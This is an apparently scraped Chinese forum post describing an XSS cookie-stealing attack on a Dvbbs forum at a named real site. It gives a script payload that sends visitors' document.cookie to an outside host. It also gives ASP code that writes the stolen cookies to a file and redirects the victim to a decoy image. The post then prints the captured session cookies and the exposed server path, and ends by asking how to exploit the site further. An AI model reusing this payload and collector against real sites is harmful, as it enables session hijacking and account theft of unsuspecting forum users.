0514-86177077

9:00-17:00（工作日）

主页 > 知识库 > 关于动网的cookie泻露站点绝路径的问题

关于动网的cookie泻露站点绝路径的问题
热门标签：不同的地图标注 宁夏保险智能外呼系统哪家好 随州销售外呼系统平台 激战黄昏地图标注说明 怎么更改地图标注电话 温岭代理外呼系统 交行外呼系统有哪些 防城港市ai电销机器人 临沧移动外呼系统哪家有
一、跨站测试
先看看我的一次跨站测试吧
我以职业欠钱的站点做测试吧:
Host:zhiyeqianqian.51web.cn
My Test:
先在他的论谈上传两张图，
图一的内容是:
script>document.location='http://linzi.cnbct.org/cookie.asp?msg='+document.cookie/script>
得到url为UploadFile/2005-6/200562716565777847.jpg
图二则是偶的个人照
UploadFile/2005-6/200562716563048909.jpg
写个盗cookie的代码到我的空间,lcx的盗cookie代码有问题，所以修改了一下。
%
cookiefile=Server.MapPath("cookie.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set cookiefile=fs.OpenTextfile(cookiefile,8,True,0)
cookiefile.Write(Request.QueryString"br>")
cookiefile.close
set fs = nothing
%>
META HTTP-EQUIV="Refresh" CONTENT="0;URL= http://zhiyeqianqian.51web.cn/UploadFile/2005-6/200562716563048909.jpg">
接下来，点击图一，自动转到图二，

二、结果分析
再到我的空间看一下，抓到cookie如下:
msg=ewwwrootzhiyeqianqianwwwroot=UserID=218usercookies=1StatUserID=2190418138password=想要吗？嘿嘿userhidden=2userclass=%D0%C2%CA%D6%C9%CF%C2%B7username=linzi;%20ASPSESSIONIDQSCAAQTB=HMPLNIMDHOCDJKPELPGBBOOG;%20Dvbbs;%20DvbbsMagicFace=862;%20upNum=2;%20ASPSESSIONIDQSAAARTB=JBPPMONDDEGFGHEOICDHFJIMbr>
分析cookie我们不难看出他的绝对路径是e:\wwwroot\zhiyeqianqian\wwwroot


三、论谈
本来，最初的测试我是在测试BCT论谈，成功暴出他的绝对路径，一开始的时候，我还认为可能又是动网出洞洞了，所以又去测试了其它几个站，测试结果是其它的站点并没有暴出路径，今天再次测试“欠我钱”的论谈，却又暴不出来，查了一下代码，和别人的代码一个样，根本没什么差别。
偶想听听大家的看法，到底是哪里出了问题，能不能深入利用~~~

标签：沈阳 忻州 阜阳 哈密 红河 无锡 青海 河源

巨人网络通讯声明：本文标题《关于动网的cookie泻露站点绝路径的问题》，本文关键词  关于,动网,的,cookie,泻露,；如发现本文内容存在版权问题，烦请提供相关信息告之我们，我们将及时沟通与处理。本站内容系统采集于网络，涉及言论、版权与本站无关。
  • 相关文章
  • 下面列出与本文章《关于动网的cookie泻露站点绝路径的问题》相关的同类信息！
  • 本页收集关于关于动网的cookie泻露站点绝路径的问题的相关信息资讯供网民参考！
    • 推荐文章

    上一篇：如何利用HTML格式化你的硬盘

    下一篇：网页打开后自动执行木马

    Copyright © 1999-2012 诚信 合法 规范的巨人网络通讯始建于2005年

    苏ICP备15040257号-8

    产品关键词： 关于动网的cookie泻露站点绝路径的问题 关于,动网,的,cookie,泻露,